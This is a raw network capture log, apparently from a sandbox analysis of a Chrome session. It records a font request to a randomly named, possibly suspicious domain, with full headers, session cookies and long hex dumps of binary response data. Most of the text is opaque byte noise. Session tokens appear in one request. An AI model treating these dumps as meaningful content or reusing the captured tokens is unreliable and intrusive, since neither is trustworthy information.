2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 9f fb 06 4b 68 b0 50 00 7c 22 4d 93 ae 4a 51 a6 00 02 1a e0 df 3f 60 01 fc 53 40 7b df ed 6f 97 f6 52 6a 43 45 a1 71 78 8f 70 92 21 28 57 69 9f a4 1b eb 64 59 b5 25 ff 2f 72 f2 23 13 70 04 e7 43 20 15 c4 93 e2 e9 00 00 81 82 83 f3 72 1e 6f 34 50 f1 7d e4 e6 7f 33 58 92 99 5d 88 fc f3 a2 d4 ae 01 36 f2 9e 27 7e 26 b0 d3 c0 5d b7 b4 a7 2a 79 09 f4 8f b6 ff 59 51 82 a7 39 e1 22 76 b7 c3 17 cb 33 f0 af 90 a0 d9 6f 45 4d 51 6f 57 4d 16 57 60 cc 85 de 1f 9a 8a 01 13 c4 07 db cc a4 0e 94 94 10 82 59 08 56 81 8a 4f 32 11 7f ee f1 f8 f4 6c 83 02 c7 ac 9d 70 01 31 87 f4 42 a5 c2 bf 46 6e 0e 7f 6f 10 3c d0 ab a8 2c 43 8f f7 0f fd 97 f8 5e c0 59 e6 43 00 b6 fe 57 ae e9 b6 74 58 e2 11 7c a8 60 d2 a6 bc 97 35 3a f7 59 64 40 5d e5 12 6a 18 bb 24 b6 dc ca 76 b6 2a 43 18 Data Ascii: KhP\|"MJQ?`S@{oRjCEqxp!(WidY%/r#pC ro4P}3X]6'~&]yYQ9"v3oEMQoWMW`YVO2lp1BFno<,C^YCWtX\|`5:Yd@]j$vC
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 68 65 68 64 9a cf 32 9d 4d e7 8a 0a 96 48 c8 6c 22 d8 b5 a2 1b ed 62 bc b1 36 52 21 05 95 14 c7 81 94 35 dc bc 61 7e c1 b4 7a 90 11 b4 ca 1d 10 b9 22 0a 08 40 c0 9b 31 90 dc 27 05 17 40 40 05 00 50 85 55 b6 46 4e 76 17 a1 cf f8 91 28 18 bc 86 dd 28 8a 0d 6e 1d 26 6e 7d 95 e8 90 58 8c 91 02 38 4a a0 94 87 e5 5a 50 e2 4c bc d0 25 06 2b 80 8c c4 05 99 9c 71 86 d8 29 ca 83 fb a6 88 8f df 77 45 f5 08 aa 72 b3 dd 04 90 49 e7 01 a0 73 40 15 14 14 29 cb f1 82 58 04 82 31 5a 02 29 dc 92 31 91 53 51 02 a6 fa 29 2a 80 d8 45 b8 e5 49 0f 90 d8 00 4a f9 09 a8 6e 75 4c 81 89 2f 00 77 7d b0 d2 75 b4 ea 9a ae 67 98 3e 3c 14 be 13 55 48 55 f9 1e 60 2e ed fc 69 cf da b5 42 06 20 96 20 07 60 a8 05 c2 4c f9 e3 9b e0 38 ab d1 83 9b 3a 8b 85 5e ca a3 dc 75 85 2b e0 30 ac 55 ea Data Ascii: hehd2MHl"b6R!5a~z"@1'@@PUFNv((n&n}X8JZPL%+q)wErIs@)X1Z)1SQ)*EIJnuL/w}ug><UHU`.iB `L8:^u+0U
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: bc 9b c0 9e 39 aa 76 68 dd 8c 5b 2f 6b 9f 1d b3 c9 cf 85 80 7e 4d 7d 1c 44 b5 56 8e d5 c6 7d 25 c4 02 3b 1b 15 6b 50 8d 7e cb ba 24 26 a5 bb 63 d1 11 53 27 2b df 09 8c 31 2c f4 05 2d 8e 9d 58 08 42 45 de 45 e3 4e a2 83 07 5d cd 4a 33 e0 b5 97 e1 ae c5 ad d6 f0 84 e2 b0 3c c6 03 e7 41 3f 7a 78 70 cc 8c 76 2e 02 cf b0 85 b1 bb 8b 6f c8 80 02 d5 9e 4a 0a a0 e3 4b b7 9b 9f c2 a6 10 af 98 9a 67 7a 8f e4 ad 45 d1 58 cc 2e ad 55 97 e2 39 c3 32 ea cd 24 ff 27 7b 73 5b b5 87 25 e3 73 aa 4d 39 f0 18 1c e6 1b 82 af d3 ba d2 3c 76 ce 79 bf b0 50 9d c3 58 69 34 3f af 43 4d 37 3b 6c 0d ce 6f 77 95 ec 53 d8 54 86 b1 6d 91 2a 74 76 a0 4a b1 bf 18 8f 94 7e cf d7 cf f4 a0 5e 55 14 0e 79 da 72 32 2d 41 57 0e 69 b4 3f 77 7c c5 7f e3 8f 3f 86 9b ff 3b dd 9e 48 b6 50 f6 da 04 Data Ascii: 9vh[/k~M}DV}%;kP~$&cS'+1,-XBEEN]J3<A?zxpv.oJKgzEX.U92$'{s[%sM9<vyPXi4?CM7;lowSTm*tvJ~^Uyr2-AWi?w\|?;HP
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 54 9b eb 9f 00 6a 07 4d d1 ff 28 8b fc 6c d2 51 9d 0e 83 9d 22 5c e7 48 fc 92 05 99 2d cc c3 68 90 eb c1 5c 1c b1 24 18 71 2e 08 a3 6c db c7 5b cb 58 47 63 ba 7c 3d 91 9d bf 11 44 11 fd a1 6b 70 7b ee c6 de 50 49 44 db ef aa dc 2c 43 d6 77 cc 1f aa ac 43 7b cb 87 68 e6 c2 24 ef 71 39 38 ea ca 50 a1 dd a1 b9 16 af e7 5b 36 1a a3 68 7d b7 d1 9b 19 9e 1c 5e da b3 75 d6 19 24 b3 60 d0 95 e7 b7 0d b0 2c 6e a1 9e a0 81 cf 5d 0e 63 53 f1 46 00 2f bb fe 1f 70 a5 9e 58 1d 8b e9 75 3b 36 ba 42 6c 18 29 19 db c5 7e 29 4e 35 47 ef 03 d3 11 c4 6b cc 5c b2 8c 98 87 f1 b4 13 7a 4a eb 68 53 1d d1 cd 11 38 50 f8 a2 27 ad a6 67 78 4b 59 17 a6 07 71 e0 18 1c 10 0b 1d 4d 5f a1 68 c3 41 66 ce 84 77 dd 8c a7 e9 0d 2d 3e d3 90 90 f7 e2 a7 6d b2 50 7a fd 83 9e 09 59 ba 40 ff ba Data Ascii: TjM(lQ"\H-h\$q.l[XGc\|=Dkp{PID,CwC{h$q98P[6h}^u$`,n]cSF/pXu;6Bl)~)N5Gk\zJhS8P'gxKYqM_hAfw->mPzY@
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: ed 03 c0 64 f5 67 15 d4 4b a0 1c 83 ae 60 ec ae 01 51 24 52 a8 17 ec d7 e5 02 86 d6 f7 93 a3 02 4c fd 08 2e 8c 51 67 00 58 f0 b7 dd 29 00 ab bc b1 63 95 3a c0 e5 1b 8e 84 eb 18 37 bb ef 5b d7 78 fc 7d eb 19 6f bf 0f 7d 63 b3 00 00 20 24 28 4c 1c 20 c3 ee 31 20 a1 ae 01 e7 67 65 60 3c ab 00 96 58 09 ac 4a bb 44 03 43 dd 38 d9 f3 a2 2b cd a5 b3 5c 2d 6b ac c0 93 b0 6f fd 3a 04 fd 22 2e c2 be 55 37 a0 58 93 20 c4 cf 40 e9 fe 01 ff a3 bf 02 54 df f1 8b 37 d2 18 b9 b2 03 8d 66 21 96 60 25 57 88 a6 3f f3 e8 ee 9c 1a f8 ec 5f 95 a3 57 af 34 dc c0 f6 14 72 54 dc 81 7e 73 3e 7a 37 c6 fa dd 84 b2 82 b7 a0 7a 70 7b fd bf 42 d0 4f eb 28 a4 30 55 01 23 24 61 8a 97 2a 35 0e da f7 f4 cd 10 22 2c 42 aa 28 31 81 9a 39 89 24 32 0a 29 54 d2 64 c9 91 a7 40 89 a2 74 11 35 59 Data Ascii: dgK`Q$RL.QgX)c:7[x}o}c $(L 1 ge`<XJDC8+\-ko:".U7X @T7f!`%W?_W4rT~s>z7zp{BO(0U#$a*5",B(19$2)Td@t5Y
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 8b 0c 04 3f 40 60 4f 3c e0 20 be 10 e4 01 3d a8 7d a6 28 9b 38 a1 c5 64 57 74 3d ec 7f 7d 08 26 bd 16 95 ea 5b 16 b0 5d d2 de b5 6e b9 e3 ae 7b 6e 6b 72 28 f0 1d 1b 15 eb 74 db 4d 9d ae bb 2f 4e a5 f6 c0 61 4c 1d c7 6e b4 0c 4d bd 43 5d 9c ee 65 37 b8 ea ff 8d 8b ca 96 bb eb 56 d5 5a 4d 90 d4 e4 b5 76 87 e4 8d 45 7d 9a 48 7b 15 e0 5a c2 73 b4 ee 2e be 04 f8 b4 7e c7 da 3d f4 f5 ed 7a 5a 3f ac 25 b2 36 32 5a f6 5f c0 4a 1d ff a4 c9 f4 bf f6 4f f8 3a c0 5c 92 fa 51 9c be bf bc 3e 88 6f 28 0a 9c e4 45 91 5e ff 83 f9 e0 35 e2 f6 53 a6 99 64 a7 9e 68 3c 39 c1 74 f8 af 2d f4 6b e8 e9 d0 0e 42 8c e0 02 a8 36 9f 40 50 6b 72 08 44 df 89 c3 a0 23 f1 be 82 8f 9f a6 6c c8 ea e2 70 81 d8 e7 08 a7 65 e7 73 8e 16 c3 78 1e d8 5f dd 27 48 e7 20 ba 7f 9a bb 53 d4 32 c3 c3 Data Ascii: ?@`O< =}(8dWt=}&[]n{nkr(tM/NaLnMC]e7VZMvE}H{Zs.~=zZ?%62Z_JO:\Q>o(E^5Sdh<9t-kB6@PkrD#lpesx_'H S2
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: e2 c7 1c f6 cf 7b e2 5f aa f0 6f 0a fc 99 a3 fe 7b 4f fc 4f 15 fe 4f f1 7a c1 4f 5d c3 5e e8 fa 49 b7 d0 0e 70 d3 ad 1f fb c9 d3 33 05 10 1c 9c 8f f4 d8 f9 ab 65 5f 2e 9e fa 31 5c 0f 80 47 2e 03 e8 af 1b ab 78 90 19 8c 5c 3d 16 50 9e 10 aa b7 bb f1 96 e9 e8 50 5a 57 99 89 cb 42 8c 4f a5 c6 83 b0 72 71 d2 e9 5c 2c 8d e9 08 ac 4c 5d e9 e1 2a 2c 52 ba 08 9f 4a 8e 07 a1 28 86 32 a7 dd c8 b8 a8 8b 07 a7 74 ba 73 43 a8 e0 ea ca f2 67 58 b7 fe e2 8b 5d 0d dd c5 61 5a 55 59 9a 0f cd a5 7c b3 55 ed 6b 08 d9 3e 2e e8 14 eb a1 c6 2d 23 31 06 d3 5c 07 73 91 a5 48 f6 10 c2 65 09 59 44 d5 32 9e c2 c0 67 88 49 29 63 f6 60 86 66 ae f7 aa d0 58 94 7c 06 f4 ab 58 8e d0 72 36 8b 19 fb d1 96 1d 44 50 d7 90 6d 47 b6 20 cc 83 76 4d b5 21 b9 79 ec 7d 89 41 6e 78 78 e8 81 87 f5 Data Ascii: {_o{OOOzO]^Ip3e_.1\G.x\=PPZWBOrq\,L]*,RJ(2tsCgX]aZUY\|Uk>.-#1\sHeYD2gI)c`fX\|Xr6DPmG vM!y}Anxx
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: eb 35 d1 e1 80 1c 69 5d bf cc a1 e8 ac ef 3b f9 0a 24 ed 13 15 ac 4d 28 6d ea 7c 96 81 ad 6b 76 cb f2 ea 9a 98 e8 b3 84 7a ce d7 ad d3 1a f7 5d b8 96 7f e0 ef fb 3e d2 ff 10 71 be 45 2d 8d b5 93 2a 9f 2a fe 87 98 cc f7 1a 0f e6 a6 af f9 2b 26 34 d7 d6 39 10 09 be 2e 9e f0 d4 8e 33 b4 8b 19 e5 a9 9d 73 66 58 9e dc dc f7 04 ae e0 53 fd d4 74 7f cd 9a 76 7c 53 74 7a b8 41 07 9a 43 e8 66 29 ea 9d 9e 9c 9f 60 5e dc a2 67 a2 89 2e 8a 3d 6a 11 03 df b2 c3 35 2d db bf 54 8e 2c e8 63 02 b6 b6 82 1f 1e 48 3c 04 3a 4d 54 d0 ba 1b 7f cf 00 55 2a 7c 3c 7a f7 c0 a9 d4 3c 3a e4 66 3e 91 cb 46 cd d4 3b 3d 5e 7c 75 77 09 fc 80 de 6b 83 b1 31 20 03 f7 52 5b 17 79 79 fc fa e3 c7 fe 67 66 0b 87 1e ce e4 67 4f 5f 86 a5 da ce f5 c1 0b 83 57 1e 81 d4 75 41 77 3a b7 59 8b b0 34 Data Ascii: 5i];$M(m\|kvz]>qE-*+&49.3sfXStv\|StzACf)`^g.=j5-T,cH<:MTU\|<z<:f>F;=^\|uwk1 R[yygfgO_WuAw:Y4
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 8f 03 0a 13 5b 7c 11 96 dd 39 50 c7 5c e8 b6 f3 ef e1 f8 f4 af 76 d7 04 6c a5 5b 5e a5 1f 82 e5 c8 48 75 02 05 a3 99 05 4b 0b cf 39 99 9b 44 e9 29 d2 4f e0 4d 76 5e eb d9 c9 2a 51 3c d3 98 aa 7e 11 1f 98 ae d2 2b d3 a4 f9 9a 0c b7 3d 84 70 b2 dd be ff 15 fd d3 ca ed c7 5a e4 3b 4f 4d 7e fe de f7 38 7c 59 78 f5 45 72 48 c9 b4 a5 47 d1 4f d6 15 62 27 b3 8b 70 d3 fa a2 3e a2 bc 65 ae 08 dd f4 4c 26 b8 0e bb 11 81 6e 8c ee b3 4e 29 73 93 b2 4d 47 db 14 36 f3 fd ef 69 4c 75 77 3d d1 4d 84 97 19 e8 a7 6b fe ff f9 e1 fa fd 4c a2 2c c7 1e 8d a7 96 3f 2a d7 8f 3f 1f 03 bf fd da ba fb e8 7b 75 c5 a3 0a fe 9a ef 16 b0 ec ef b4 ce b9 94 ed 47 9b 64 db 4f 4d ac 65 d4 fc 88 ba 28 3c ff 22 39 a2 6a b1 ac 41 de 47 d1 17 e3 ce e4 66 86 cf a8 ea 07 b9 46 7e 13 54 1d 4f 2d Data Ascii: [\|9P\vl[^HuK9D)OMv^Q<~+=pZ;OM~8\|YxErHGOb'p>eL&nN)sMG6iLuw=MkL,??{uGdOMe(<"9jAGfF~TO-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.17	59888	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:05 UTC	1403	OUT	GET /12GxD1xKYiaDaUT560Micgpqr50 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://l6agz47874.eleteriod.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
2024-05-22 18:02:08 UTC	619	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:08 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Content-Disposition: inline; filename="12GxD1xKYiaDaUT560Micgpqr50" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ipm8kqrAp6L9nKvk9xEsJPBRniLqzGrxzRYDlGq6sElX9TW0OCT3pmE7g%2FKf6zLRAGGSR1KxEI5EzwZaMuhkTiTzavamtlG54BOLkpYRqh0%2BYqneafTDh6nAkGMeqg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb71c1e2d1869-EWR
2024-05-22 18:02:08 UTC	750	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 21 74 00 00 52 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gaspglyf!tRa$iheads36}hheat
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 41 45 b4 8b f6 d2 01 fa 90 4a e8 10 1d a6 06 6a e2 04 f6 b2 8f bb 71 26 5f c6 d7 f2 60 be 81 87 f0 50 be 91 87 f1 4d 3c 9c 6f e6 5b f8 56 1e c1 b7 f1 48 1e cb 53 78 3a cf e0 99 3c 8b 67 f3 1c 9e cb f3 78 3e 2f e0 85 bc 88 17 f3 12 5e ca cb 78 39 af e0 95 bc 8a 57 73 2e e7 f1 26 de ca 85 bc 93 8b 78 0f 17 13 f3 6a 55 4a a9 94 ae 42 d4 53 9d a7 1c 32 28 5f b5 d0 01 55 c7 d3 d5 51 9e a1 82 3c 87 e2 79 ae 6a e6 79 d8 e7 ab f3 bc 50 85 78 b1 3a c5 cb d0 b6 02 6d 2b b1 af 56 d5 fc 8a aa e5 35 68 5b 8b 7e 45 b8 57 4c dd e8 72 70 c0 07 1e f8 30 ea 19 2a 50 75 18 f9 24 4f 41 af e9 94 86 d1 b7 f1 4c 4a e1 59 e4 e5 d9 e4 e1 39 18 65 ae da 02 4c b5 c0 14 02 a6 20 2f 22 3f b0 6d e1 a5 94 08 8c 8d bc 1c bf 2b f0 cc 4a ec ab c8 00 e6 a3 9c ab 1a f8 15 ea 2a d8 f3 54 21 Data Ascii: AEJjq&_`PM<o[VHSx:<gx>/^x9Ws.&xjUJBS2(_UQ<yjyPx:m+V5h[~EWLrp0Pu$OALJY9eL /"?m+JT!
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: d3 5e f4 39 ff 11 7a a1 e7 db 00 aa 6a 1d 19 56 5a 57 86 48 dc 00 97 0c cb df 06 44 32 47 d0 be cf d6 47 e1 40 dc f0 9f e8 bc ef e6 e4 11 eb e1 13 bf 8f ec f1 0c fa c6 ab 90 aa 27 03 73 ec a2 5a 00 90 2e ee 04 71 d6 a8 af e9 82 6f 6a bb 7a 16 de dd 07 09 27 ab 4f 54 b9 aa 55 cd aa 5a fd 45 2d 01 d5 75 ea b0 3a a3 3e a3 38 d5 a4 ce 83 de 7c d0 df 97 52 70 75 94 92 c0 9f d8 51 f9 02 a8 d4 bf 0d 42 5d 85 3a 41 99 ea 04 a8 1d 40 1e 50 59 8d a6 7b cc dc 9e fc 2d 41 9c 5d 4e 7e e1 ae 81 59 7d 09 c9 c5 66 eb 02 ac d5 ea 24 f2 9c 78 a1 06 76 01 ed 20 75 4a f3 4a 73 10 96 d3 c5 99 53 50 7e d2 e5 2c 1e 67 be 18 f1 f2 a0 3a 07 1a 6b d4 11 70 26 01 60 40 f6 04 e9 96 a1 d1 83 3c d3 03 30 a4 9e 21 58 2e b9 e8 f5 4a d5 14 1b 2a b7 a9 57 21 b7 4c 00 a9 f7 14 b2 63 f0 af Data Ascii: ^9zjVZWHD2GG@'sZ.qojz'OTUZE-u:>8\|RpuQB]:A@PY{-A]N~Y}f$xv uJJsSP~,g:kp&`@<0!X.J*W!Lc
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: de 52 27 f5 1a 9c 39 86 da a5 f6 aa 77 20 cb 62 68 0f 34 06 da 9b 6d cb 57 8e 1f aa b3 6a 87 ab 1a 2d 95 b7 c3 cd ea 20 ec e4 20 e4 58 62 d2 a1 73 2d f1 c6 01 8c ad b5 af 0c 39 56 10 ed a5 c0 9e 8a b3 24 f8 b3 0c f5 67 3c dd 1c d1 67 f8 61 5f 6f 80 8a a5 f0 7d 7e b1 da 06 f4 6d c1 dd 15 e4 87 9e 7f a2 df d2 6b 3f 0a 7c 59 82 eb 55 1a 8e e3 93 ba 16 47 b5 11 ef f0 ef 6d 8b 2b d5 ea 7e 3c b9 4e 7f c7 25 1e 2d e8 5a 17 09 60 fe 86 9a a4 72 25 2f e8 02 2b db 4d 37 e8 55 27 f5 38 65 ab 0f 1d 9a da 48 4c 4b 16 fe e6 a4 da 6f 71 df a0 ae 62 b9 65 ed bf c4 41 e5 d1 d0 46 b6 ae f5 10 75 5c 1d 06 cf fc a6 15 68 2a ac 9c da bd 26 1f f6 56 49 be c2 33 cf f4 db d8 52 bd 9e a6 69 8f 20 71 d3 03 9d 50 07 1c 1f 60 98 39 7c c4 bc 3e 14 3d d2 60 a6 15 ad 96 20 b3 6f a5 d2 Data Ascii: R'9w bh4mWj- Xbs-9V$g<ga_o}~mk?\|YUGm+~<N%-Z`r%/+M7U'8eHLKoqbeAFu\h*&VI3Ri qP`9\|>=` o
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: c1 88 90 33 d7 58 35 64 95 ce b7 a1 21 51 be 30 47 2d b2 0e b5 9e 1d 15 6d 0b c8 96 da fa a0 ca c3 08 65 c8 4a c2 22 b7 ca 90 fe 55 ad b1 5d 3d d7 69 66 d6 59 bb ac 92 9b df 5d b4 59 47 5b a0 d6 a0 36 4b 32 2b 43 f5 17 b3 12 b6 f2 f1 06 e4 bd 46 ab 26 29 ed db 72 c8 f9 8e 27 7c d5 c0 f4 66 7f a5 04 5d b9 a5 ae 07 5d 54 ee 76 a8 3c aa ab 4e c9 d2 8a a4 2a d8 25 df fe 6b 5b 14 2a 5b 9a db fb 4b 97 75 75 4a 65 c4 dc dd 6b 7f c9 2f b5 48 99 53 57 d5 44 fb 7b 1c d4 1d 75 f0 0b a9 e2 ef b2 91 c5 37 80 af c9 ad ef 99 d5 fd 12 21 b2 25 f3 31 35 2c 45 de c5 d4 c9 93 a6 8e a5 09 bf 33 44 e7 bc f2 05 6a 36 20 00 d0 35 76 26 ee 24 8a a7 e9 2f f4 18 f0 41 b5 c0 14 14 2d 0d e8 15 76 e9 d5 5a d5 d6 45 58 cb 6c b1 fc 66 8b 95 ed 35 c3 fb b5 56 22 f1 ae 1c b8 d6 92 7b a4 Data Ascii: 3X5d!Q0G-meJ"U]=ifY]YG[6K2+CF&)r'\|f]]Tv<N%k[[KuuJek/HSWD{u7!%15,E3Dj6 5v&$/A-vZEXlf5V"{
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: a6 4b f8 4e be 87 02 3c 86 c7 51 26 a2 09 ec 14 f1 e4 e7 d4 83 a7 f0 14 1a c8 53 79 2a f5 e6 a7 f8 29 4a e2 5f f0 2f 70 fe 34 3f 8d f3 5f f2 7f a2 cf 34 9e 46 5d f9 57 fc 2b 4a e3 67 f8 19 9c ff 9a 7f 8d f3 e9 3c 9d ae e1 19 3c 83 46 f1 4c 9e 49 f7 f0 2c 9e 45 63 78 36 cf a6 2b 79 0e cf a1 7e 88 59 cf 92 0f 51 eb 79 1c e7 f2 5c 1a cd f3 78 1e 0d e0 f9 3c 9f 46 f0 0b fc 5f d4 8d 17 f0 02 1a cc 0b 79 21 dd c0 8b 78 11 dd c6 8b 79 31 8d 44 a4 5b 42 b7 f0 52 5e 4a b7 f2 4b fc 12 8d 47 c4 5b 46 fd 79 39 2f a7 6b 79 05 af a0 eb 78 25 af a4 eb 11 07 57 d1 55 bc 9a 57 eb ff 3b c4 b9 74 35 ff 96 5f a6 cb 10 19 5f a1 3b 78 0d af a1 9b 74 84 a4 e1 3a 42 d2 5d 88 90 9b e8 76 44 c9 cd 74 b3 8e 93 94 a1 63 23 28 dc c1 3b 70 dc c9 3b 69 18 a2 64 11 0d 42 9c dc 43 37 22 Data Ascii: KN<Q&Sy*)J_/p4?_4F]W+Jg<<FLI,Ecx6+y~YQy\x<F_y!xy1D[BR^JKG[Fy9/kyx%WUW;t5__;xt:B]vDtc#(;p;idBC7"
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 4d a6 2f 86 58 3a f1 f7 51 07 8a 8e 96 dd 16 0d 2b 1a 54 94 04 e7 22 8a ea f2 9f 23 98 50 be 0e 0e a6 06 63 83 93 03 e7 82 04 ce 04 7e 0d 14 06 32 02 63 02 ab 8f 3f 75 fc 49 ff 01 7f be 7f 07 f8 73 fc ab fc cb fc 63 fd f1 fe f8 a3 95 4a 9e aa 38 27 ec 40 58 be 75 35 c5 8a 4c 9b 39 e5 af cd 65 0b 47 f9 98 13 7c ad 34 70 06 da 4c 76 52 9c f9 65 db 65 ab 93 e6 2c 71 32 9d 2c 67 8d 93 e3 6c 74 f2 9c 5d ce 1e 27 df 29 70 0e db de 61 e7 b8 f3 31 e7 1d 4e de 3f ea 6c 27 e7 cf 22 c4 ba f4 ae 36 6a b1 f6 e8 4d ad 52 8a 66 6b 9e 36 e9 39 4d d2 34 8d 53 82 86 6a 87 b6 6a a7 66 6a be 5e d5 58 bd a6 17 35 45 dd f5 ba c6 eb 0d 4d d4 0c 2d 51 86 d2 94 ae 09 ca d4 7d 5a a0 85 4a d4 7e a5 aa 9f b2 b4 59 3d d8 a7 95 4a 52 9c 16 69 8c 66 11 4d 1b da 9a 6b ae 31 f7 b8 74 e1 Data Ascii: M/X:Q+T"#Pc~2c?uIscJ8'@Xu5L9eG\|4pLvRee,q2,glt]')pa1N?l'"6jMRfk69M4Sjjfj^X5EM-Q}ZJ~Y=JRifMk1t
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 97 ab 31 c7 11 da 60 1f 5c 11 1e e6 af 33 1a c2 62 c2 63 42 82 74 a1 fe a1 29 51 1a e8 94 ce 90 11 c1 e8 fd 55 ea 80 00 bd bf 37 63 34 e0 8c 2c 4b 66 9c d1 a8 95 de 18 b4 e7 f1 5f 17 9e 58 61 2b 29 ef 5e 51 bc fe dc 90 fd 36 83 e6 2f 1c 5a 74 1b c7 77 0f ae e9 11 3e e5 77 66 b6 ed ae 69 bf 2f 33 fd cc 8a 96 23 83 05 6c 79 fd bc 92 4e e1 a4 fd d1 ae ae a6 7e 61 39 a5 77 d3 e8 6d 7e 35 7f 04 19 50 ba 2d 25 32 c2 db 0b 46 11 97 21 86 c1 cd 80 5e 40 39 c1 b9 99 03 fa 04 a2 0a 8c c2 42 fc 7c 3d dc 90 01 1b 78 b5 7f 12 1f 1d 17 c7 58 32 fd b2 62 cc 19 5c a0 3a 2e ce 18 ed 0d 38 47 30 e6 8c 2c 6b a0 8a 63 b9 87 47 ce 75 b5 9f c5 e8 e8 9f 71 7a dd 97 c9 2f 3f da fe f8 e2 bc fc c1 63 6d f7 5f ce f9 a2 56 b8 ee df f1 32 f6 7e fe 04 f6 7d ad e7 c6 8f 17 6c dc 35 75 Data Ascii: 1`\3bcBt)QU7c4,Kf_Xa+)^Q6/Ztw>wfi/3#lyN~a9wm~5P-%2F!^@9B\|=xX2b\:.8G0,kcGuqz/?cm_V2~}l5u
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: ac 50 96 bb ef f8 1e 3c 28 7c 24 bc f6 92 80 47 fa cf 6c 9c 21 68 97 ad 5d b7 f4 2f ec 5f 77 ff 34 c9 7e 80 a9 b7 bf c0 ef cc ed 7b 44 f8 b2 bd ae ae 4d 78 98 cc b3 e4 d1 db 5c 3a d0 38 89 e8 df b0 50 15 cf 61 16 24 07 cb 32 cd 40 e4 00 51 7c 28 fa 37 2a 22 38 d0 d3 1d 25 e1 24 5e 11 20 11 ac 99 62 10 13 67 c9 2c 04 e9 1a 20 0a 5b 15 a1 23 19 7d 66 da c0 4b 7b 9a 7c 47 dc 32 2b ba b2 57 ae 78 7f 14 bd 3f 75 e5 33 ed 4f 7e 91 fd 45 74 5f 75 75 ef fb c2 fb b3 b6 bc e4 9f 37 70 64 81 6d 5a 47 51 64 73 49 7f cf c0 b9 4b 73 0f f4 e4 1c 7f b8 70 76 55 fd f4 fe ee be 33 17 9a 1e 1e 28 00 7c fd 81 76 bb a9 1d 15 6a 0b 22 04 a2 3a d8 9b e8 04 51 be d2 09 88 41 be 13 6d 85 df 15 66 70 2b 84 19 02 f7 e4 67 9f dd 6d 83 fa 0f 41 7f df 